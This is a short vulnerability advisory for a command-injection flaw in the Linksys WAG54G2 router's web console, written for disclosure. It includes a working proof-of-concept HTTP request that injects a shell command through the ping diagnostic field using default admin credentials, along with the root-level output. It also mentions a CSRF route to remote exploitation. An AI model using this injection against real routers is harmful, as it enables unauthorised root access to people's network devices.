Linksys WAG54G2 Web Management Console Local Arbitrary Shell Command Injection Vulnerability

1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet
   interfaces.

2. When logged into web management console, it is possible to execute commands as root (tested
   on firmware: V1.00.10).

3. PoC:

GET
/setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps
aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
PID Uid VmSize Stat Command
1 root 284 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kthread]
…

4. Note that it is needed to supply valid user/password (Authorization HTTP header).

5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not
   change default password to the web management.

6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains
   unpatched).

7. More detailed information: http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root